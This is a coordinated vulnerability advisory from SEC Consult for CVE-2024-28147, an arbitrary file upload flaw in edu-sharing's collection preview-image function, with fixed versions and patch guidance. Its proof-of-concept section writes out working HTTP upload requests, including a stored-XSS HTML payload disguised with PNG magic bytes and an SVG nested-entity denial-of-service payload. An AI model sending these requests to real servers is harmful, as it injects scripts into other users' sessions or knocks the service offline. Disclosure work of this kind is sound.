SEC Consult Vulnerability Lab Security Advisory < 20240620-0 >
=======================================================================
               title: Arbitrary File Upload
             product: edu-sharing (metaVentis GmbH)
vulnerable versions: <8.0.8-RC2, <8.1.4-RC0, <9.0.0-RC19
      fixed versions: >=8.0.8-RC2, >=8.1.4-RC0, >=9.0.0-RC19
          CVE number: CVE-2024-28147
              impact: high
            homepage: https://edu-sharing.com
               found: 2024-04-04
                  by: Kai Zimmermann (Office Frankfurt)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"edu-sharing software enables you to network your learning platforms and other
educational software. Share learning content, metadata and tools - make them
available in an educational cloud and let your users use them in all connected
systems."

Source: https://edu-sharing.com


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.


Vulnerability overview/description:
-----------------------------------
1) Arbitrary File Upload (CVE-2024-28147)
An authenticated user can upload arbitrary files in the upload function for
collection preview images. An attacker may upload an HTML file that includes
malicious JavaScript code which will be executed if a user visits the direct
URL of the collection preview image (Stored Cross Site Scripting). It is also
possible to upload SVG files that include nested XML entities. Those are parsed
when a user visits the direct URL of the collection preview image, which may be
utilized for a Denial of Service attack.


Proof of concept:
-----------------
1) Arbitrary File Upload (CVE-2024-28147)
An authenticated user can update the preview image of an existing collection
by sending the following request:

--------------------------------------------------------------------------------
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fpng HTTP/1.1
Host: $SERVER
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID
Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885
Content-Length: 288

-----------------------------159605426213527963452762824885
Content-Disposition: form-data; name="file";

‰PNG

[...]
-----------------------------159605426213527963452762824885--
--------------------------------------------------------------------------------

The URL parameter "mimetype" can be modified to match any uploaded file. The
value is directly used in the server's "Content-Type" header.
Both, the Content-Type request header and the filename parameter in the
Content-Disposition request header do not need to be included in the data
boundary inside the request in order to be sent successfully and can therefore
be removed.
The preview image can then be accessed by visiting the following URL:
https://$SERVER/edu-sharing/preview?nodeId=$COLLECTIONID


a. Stored Cross Site Scripting (HTML Upload)
The initial request can be modified to include an HTML file, while keeping
the magic bytes of a PNG image file. The "mimetype" parameter is changed to
"text/html":

--------------------------------------------------------------------------------
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=text/html HTTP/1.1
Host: $SERVER
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID
Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885
Content-Length: 288

-----------------------------159605426213527963452762824885
Content-Disposition: form-data; name="file";

‰PNG

<!DOCTYPE html>
<html>
<body>
<h1>Test</h1>
<script>alert(window.location)</script>
</body>
</html>
-----------------------------159605426213527963452762824885--
--------------------------------------------------------------------------------

Visiting the preview URL as seen in figure 1 below shows that the JavaScript
code is executed:
[01_stored_xss.png]


b. Denial of Service (SVG Upload)
The initial request can be modified to upload an SVG file containing
nested XML entities. The "mimetype" parameter is changed to "image%2Fsvg":

--------------------------------------------------------------------------------
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fsvg HTTP/1.1
Host: $SERVER
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID
Content-Type: multipart/form-data; boundary=---------------------------29539943986372261721095197803
Content-Length: 581

-----------------------------29539943986372261721095197803
Content-Disposition: form-data; name="file";

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY bar "Text "><!ENTITY t1 
"&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;"><!ENTITY t2 "&t1;&t1;&t1;&t1;">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <data>&t2;</data>
</svg>

-----------------------------29539943986372261721095197803--
--------------------------------------------------------------------------------

Visiting the preview URL as seen in figure 2 below shows that the XML code is
parsed:
[02_denial_of_service]


Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 9.0 (pre-release)

The vendor confirmed that previous versions (8.0 and 8.1) are affected as well.


Vendor contact timeline:
------------------------
2024-04-10: Contacting vendor through security@edu-sharing.com
2024-04-11: Vendor replied and confirmed security contact.
             Advisory information has been sent to vendor.
2024-04-12: Vendor confirmed receiving the advisory and is now trying to
             reproduce the described behavior.
2024-05-03: Reminder sent to security@edu-sharing.com, asking for an update on
             fixing the vulnerability.
2024-05-07: Vendor provides affected versions. Fixes have already been implemented
             and published. Vendor is requesting to wait with the public advisory
             release in order to allow affected customers to perform the next rollout.
2024-05-07: Vendor provides fixed versions.
             Public advisory release scheduled for 2024-06-04.
2024-05-15: Public advisory release postponed to 2024-06-20.
2024-06-20: Coordinated release of advisory.


Solution:
---------
The repository base version in use can be identified in the Admin-Tools.
The vendor provides a patch for the affected versions:
* Version 8.0: Update repository version to "8.0.8-RC2" or later
* Version 8.1: Update repository version to "8.1.4-RC0" or later
* Version 9.0: Update repository version to "9.0.0-RC19" or later


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

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Eviden business. It ensures the continued knowledge gain of SEC Consult in the
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SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

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EOF Kai Zimmermann / 2024